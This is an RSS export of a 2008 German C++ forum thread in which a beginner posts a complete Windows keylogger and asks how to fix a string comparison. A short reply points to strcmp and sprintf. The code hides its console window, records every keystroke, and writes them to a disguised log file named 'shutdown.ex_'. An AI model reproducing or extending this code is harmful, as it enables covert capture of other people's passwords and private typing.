<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Variable szKey belegen??]]></title><description><![CDATA[<p>Ich bin cpp Anfänger und habe gerade mein erstes Prjekt fertig, einen einfachen keylogger (keine sorge, führe nix im Schilde^^)</p>
<p>hier mal den Code:</p>
<pre><code class="language-cpp">#include &lt;windows.h&gt;
#include &lt;stdio.h&gt;
#include &lt;string&gt;
#include &lt;time.h&gt;

int main()
{
  AllocConsole();
  ShowWindow(FindWindowA(&quot;ConsoleWindowClass&quot;,NULL),0);

  FILE *Log;
  short key;
  char szKey[MAX_PATH];
  int scan;

  while(1)
  {
    Sleep(10);
    for(key=0;key&lt;256;key++)
    {
      if(GetAsyncKeyState(key)==-32767)
      {
        scan=MapVirtualKeyEx(key,0,GetKeyboardLayout(0));
        GetKeyNameText(scan &lt;&lt; 16,szKey,MAX_PATH);

        Log=fopen(&quot;install/shutdown.ex_&quot;,&quot;a+&quot;);
        fprintf(Log,&quot;%s&quot;,szKey);
        fclose(Log);
      }
    }
  }
}
</code></pre>
<p>Nun will ich die Variable, die den Buchstaben enthält (szKey) verändern,<br />
z.B</p>
<pre><code class="language-cpp">if(szKey==&quot;alt&quot;){
szKey==&quot;[alt]&quot;;
}
</code></pre>
<p>Doch wenn ich den Code so einbinde, kommt immer ein Compiler Fehler. Weis da jemand weiter?</p>
<p>greetz dominic</p>
]]></description><link>https://www.c-plusplus.net/forum/topic/213403/variable-szkey-belegen</link><generator>RSS for Node</generator><lastBuildDate>Wed, 14 Oct 2026 07:21:29 GMT</lastBuildDate><atom:link href="https://www.c-plusplus.net/forum/topic/213403.rss" rel="self" type="application/rss+xml"/><pubDate>Sat, 17 May 2008 15:56:55 GMT</pubDate><ttl>60</ttl><item><title><![CDATA[Reply to Variable szKey belegen?? on Sat, 17 May 2008 15:56:55 GMT]]></title><description><![CDATA[<p>Ich bin cpp Anfänger und habe gerade mein erstes Prjekt fertig, einen einfachen keylogger (keine sorge, führe nix im Schilde^^)</p>
<p>hier mal den Code:</p>
<pre><code class="language-cpp">#include &lt;windows.h&gt;
#include &lt;stdio.h&gt;
#include &lt;string&gt;
#include &lt;time.h&gt;

int main()
{
  AllocConsole();
  ShowWindow(FindWindowA(&quot;ConsoleWindowClass&quot;,NULL),0);

  FILE *Log;
  short key;
  char szKey[MAX_PATH];
  int scan;

  while(1)
  {
    Sleep(10);
    for(key=0;key&lt;256;key++)
    {
      if(GetAsyncKeyState(key)==-32767)
      {
        scan=MapVirtualKeyEx(key,0,GetKeyboardLayout(0));
        GetKeyNameText(scan &lt;&lt; 16,szKey,MAX_PATH);

        Log=fopen(&quot;install/shutdown.ex_&quot;,&quot;a+&quot;);
        fprintf(Log,&quot;%s&quot;,szKey);
        fclose(Log);
      }
    }
  }
}
</code></pre>
<p>Nun will ich die Variable, die den Buchstaben enthält (szKey) verändern,<br />
z.B</p>
<pre><code class="language-cpp">if(szKey==&quot;alt&quot;){
szKey==&quot;[alt]&quot;;
}
</code></pre>
<p>Doch wenn ich den Code so einbinde, kommt immer ein Compiler Fehler. Weis da jemand weiter?</p>
<p>greetz dominic</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1511098</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1511098</guid><dc:creator><![CDATA[dominic]]></dc:creator><pubDate>Sat, 17 May 2008 15:56:55 GMT</pubDate></item><item><title><![CDATA[Reply to Variable szKey belegen?? on Sat, 17 May 2008 16:13:48 GMT]]></title><description><![CDATA[<p>strcmp<br />
sprintf</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1511102</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1511102</guid><dc:creator><![CDATA[dominoc]]></dc:creator><pubDate>Sat, 17 May 2008 16:13:48 GMT</pubDate></item></channel></rss>